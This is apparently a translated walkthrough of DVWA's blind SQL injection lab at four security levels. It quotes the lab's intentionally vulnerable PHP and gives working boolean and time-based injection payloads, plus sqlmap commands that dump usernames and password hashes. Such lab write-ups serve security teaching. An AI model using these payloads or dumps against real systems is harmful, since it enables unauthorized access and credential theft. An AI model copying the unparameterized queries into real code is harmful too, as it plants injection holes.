DVWA之SQL Injection (Blind)
low
Looking at the source code, we can see that there is no filtering on the input string
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#
http://dvwa/vulnerabilities/sqli_blind/?id=1'&Submit=Submit#
Here we find that we will return exists if the statement is correct, and MISSING will be returned if the statement is wrong, so here we use union injection is not feasible, here we can only use Boolean blind injection
Determine whether it is numeric or character injection
http://dvwa/vulnerabilities/sqli_blind/?id=1 and 1=1--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1 and 1=2--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1' and 1=1--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1' and 1=2--+&Submit=Submit# #MISSING
So it is judged to be a character type injection to
judge the current database length
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>10--+&Submit=Submit# #MISSING
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>5--+&Submit=Submit# #MISSING
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>3--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>4--+&Submit=Submit# #MISSING
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())=4--+&Submit=Submit# #exists
So it is judged that the current database length is 4
Determine the first letter of the current database
http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr(database(),1,1)='a'--+&Submit=Submit# #MISSING
Guessing one by one is too much trouble. Here we directly send to burpsuite for brute force cracking.
Determine the first letter of the current database as d. According to this method, guess the next three letters as vwa, so the current database is dvwa
Determine how many tables are under the dvwa library
http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select count(*) from information_schema.tables where table_schema=database())=1--+&Submit=Submit# #MISSING
Continue to use burpsuite to blast,
so there are two tables under dvwa
Determine the length of the two tables
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1--+&Submit=Submit# #MISSING
Judge the length of the first table as 9, according to this method, guess the length of the second table as 5
Judging the first letter of the first table under the dvwa library
http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'--+&Submit=Submit# #MINSSING
So the first letter of the first table under the dvwa library is d. According to this method, guess that the first table is guestbook and the second table is users.
Determine how many fields are under the users table
http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select count(*) from information_schema.columns where table_name='users' )=1--+&Submit=Submit# #MISSING
So there are 14 fields under the users table
Determine the length of the first field under the users table
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1--+&Submit=Submit# #MISSING
Therefore, the length of the first field under the users table is 7, follow this method to guess the length of all the lots in turn
Determine the first letter of the first field under the users table
http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+&Submit=Submit# #MISSING
Follow this method to guess all the fields in turn
Determine how many values are under the user field
http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select count(*) from users)=1--+&Submit=Submit# #MISSING
So there are 5 fields
Determine the first letter of the first value of the user field
http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr((select user from users limit 0,1),1,1)='a'--+&Submit=Submit# #exists
So the first letter of the first value under the user field is a. Follow this method to guess all the fields under the user and password fields in turn.
Pick an account and password to verify the account password we guessed. The
login is successful
one by one. Guess it is too much trouble, we can also use SQL injection automation tool sqlmap for SQL injection
View the current library
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" --dbs
-Batch # automation complete
-cookie # Fill cookie information, because we need to start here login first injection, so we need to enter the cookie information
-dbs View all current library
to see all of the following database tables dvwa
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" -D dvwa --tables
-D dvwa --tables #View all tables under dvwa View
all fields under the users table
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" -D dvwa -T users --columns
-D dvwa -T users --columns #View all fields under the users table under the dvwa library
View all values under the user and password fields
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" -D dvwa -T users -C user,password --dump
-D dvwa -T users -C user,password --dump #View all the values under the user and password fields under the users table in the dawa library.
Here sqlmap will automatically call a dictionary, or you can manually specify it to a dictionary prepared by yourself. Will automatically decrypt it for you
medium
Adjusting the level to the middle level, we found that we can only choose numbers from 1 to 5, and we can’t see what we submitted on the url after the selection, because the number we entered here is submitted to the backend by POST. Looking at the source code, we can see that the id has been processed to a certain extent, and the single quotes we entered will be escaped, so here we can only inject numbers or wide bytes.
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
Here we use hackbar to grab POST packets
Submit=Submit&id=1 and 1=1--+ #exists
Submit=Submit&id=1 and 1=2--+ #MISSING
So it is judged to be digital injection, and the subsequent method is exactly the same as the low level. Here we introduce a new method, time blind, which is actually a Boolena blind. Here we have judged it to be digital injection
Submit=Submit&id=1 and sleep(5)--+
It is found here that the page will sleep for 5 seconds before querying, we can take advantage of this feature
Determine the current database length
Submit=Submit&id=1 and if(length(database())=4,sleep(5),1)--+
This sentence means whether the length of the current database is 4, if it is, the query sleeps for 5 seconds, if it is not, then query 1, we find that the page does sleep for 5 seconds, so we judge that the current database length is 4.
Determine the first letter of the current database
Submit=Submit&id=1 and if(ascii(substr(database(),1,1))=100,sleep(5),1) --+
Because the single quotation marks are escaped here, we convert the letters to ascii codes for searching. The page sleeps for 5 seconds and searches the ascii code table. The letter corresponding to 100 is d, so it is judged that the first letter of the current database is d. Follow this method to search in turn and determine that the current database is dvwa. The following process is basically similar to the low level. Just add an if judgment condition in front. You can also use sqlmap for automatic injection, which will not be repeated here.
high
Looking at the source code, we can see that when we enter the id, it will automatically jump to another page, and then add a limit function after the sql statement
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Because it only prevents the use of automated tools for injection, it is exactly the same as the low level. We can directly use # to comment out the limit function behind. The specific process depends on my low level.
impossible
Looking at the source code, we can see that the PDO technology is used, so SQL injection is eliminated
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>